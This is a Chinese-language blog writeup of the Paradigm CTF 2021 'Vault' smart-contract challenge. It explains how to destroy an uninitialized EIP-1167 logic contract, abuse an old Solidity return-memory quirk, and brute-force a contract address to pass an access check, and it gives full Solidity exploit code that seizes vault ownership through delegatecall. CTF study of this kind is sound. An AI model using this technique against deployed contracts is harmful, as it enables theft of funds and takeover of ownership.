Writeup | Paradigm CTF 2021 Part three

Writeup | Paradigm CTF 2021 Part one - Sissice’s Blog

Writeup | Paradigm CTF 2021 Part two - Sissice’s Blog

VAULT

这道题涉及到了 EIP1167 代理合约

通过挑战的要求是改变代理合约的 owner

1
2
3
function isSolved() public view returns (bool) {
return vault.owner() != address(this);
}

先看一下整体逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function Setup() public {
// 设定 SingleOwnerGuard 为 guard defaultImplementation
registry = new GuardRegistry();
registry.registerGuardImplementation(new SingleOwnerGuard(), true);

// 利用EIP-1167创建一个代理合约 vault
// 原合约是 SingleOwnerGuard
vault = new Vault(registry);

// 授权 deposit 和 withdraw 两个函数
SingleOwnerGuard guard = SingleOwnerGuard(vault.guard());
guard.addPublicOperation("deposit");
guard.addPublicOperation("withdraw");
}

关键爆破点:

  • 构造函数相关的字节码在init-code 中,只能被调用一次。而自定义的initialize()方法存在于runtime code中,可被反复调用,需要自己写逻辑保证只能调用一次。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    // 构造函数
    function Vault(GuardRegistry registry_) public {
    owner = msg.sender;
    registry = registry_;

    createGuard(registry.defaultImplementation());
    }

    // create new guard instance
    // 利用EIP-1167创建一个代理合约
    // 传入的是逻辑合约
    function createGuard(bytes32 implementation) private returns (Guard) {
    address impl = registry.implementations(implementation);
    require(impl != address(0x00));

    if (address(guard) != address(0x00)) {
    guard.cleanup();
    }

    // 创建代理合约
    guard = Guard(createClone(impl));
    // 代理合约的初始化
    guard.initialize(this);
    return guard;
    }

    在 Vault 中只初始化了代理合约,而真正的逻辑合约 SingleOwnerGuard 并没有被初始化,类似于著名事件 anyone can kill your contract

  • 调用一个被销毁的合约,它只是会执行STOP这一个OPCODE,不会REVERT,也就是说会调用成功

  • 在solidity<0.5.0的版本中,返回值存放的位置指针与参数值的内存指针指向同一块内存地址。返回值拷贝到内存中时,如果返回值的实际长度为0,则其实际上拷贝到内存中的数值长度也为0。CALL不会去覆盖内存的值。

    这意味着如果我们销毁了逻辑合约 SingleOwnerGuard ,那么会得到内存中已经存在的内容,即输入

    因此当 SingleOwnerGuard 被销毁以后,我们传入的地址的第16位数值就是 error 的内存位置

    这里可以选择使用 create 或者 create2 来生成特定的合约地址,使合约地址第16位为 NO_ERROR,绕开权限检查

  • emergencyCall 函数可以自行传入data,也就是说只要绕开了权限检查,我们可以做任何事

    1
    2
    3
    4
    5
    function emergencyCall(address target, bytes memory data) public {
    require(checkAccess("emergencyCall"));

    require(target.delegatecall(data));
    }

完整的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
pragma solidity 0.4.16;

import "./Setup.sol";

contract FakeVault {
SingleOwnerGuard public guard;

function get(GuardRegistry registry) public {
guard = SingleOwnerGuard(registry.implementations(registry.defaultImplementation()));
}

function cleanup() public {
guard.initialize(Vault(address(this)));
guard.cleanup();
}

function owner() public returns (address) {
return address(this);
}

// 在 cleanup() 中会有判断 guard() 的逻辑
function guard() external view returns (address) {
return msg.sender;
}
}

contract OwnershipTaker {
function doit(Vault vault) public {
// data 为 0,就是调用 fallback 函数
vault.emergencyCall(msg.sender, new bytes(0));
}
}

contract vaultExploit {
// 注意:要修改的 owner 的位置需要和目标合约 vault 中的 owner 的位置相同,否则无法进行修改
address owner;
vaultSetup private setup;
OwnershipTaker addr;

function vaultExploit(vaultSetup setup_) public {
setup = setup_;
}

// 销毁逻辑合约
function part1() public {
FakeVault fakeVault = new FakeVault();
// 获得逻辑合约地址
fakeVault.get(setup.registry());
// 初始化并销毁
fakeVault.cleanup();
}

function part2() public {
while(true) {
// 使用 CREATE 来创造合约
addr = new OwnershipTaker();
// 判断是否满足条件
if (bytes20(address(addr))[15] == hex'00') {
break;
}
}
// 调用特定合约地址中的攻击函数
addr.doit(setup.vault());

}

// 在 fallback 函数里面实现修改 owner 的逻辑
function() external {
owner = address(0);
}
}

后续题目更新中……


Writeup | Paradigm CTF 2021 Part three
http://sissice.github.io/2022/10/03/ParadigmCTF2021three/
作者
Sissice
发布于
2022年10月3日
许可协议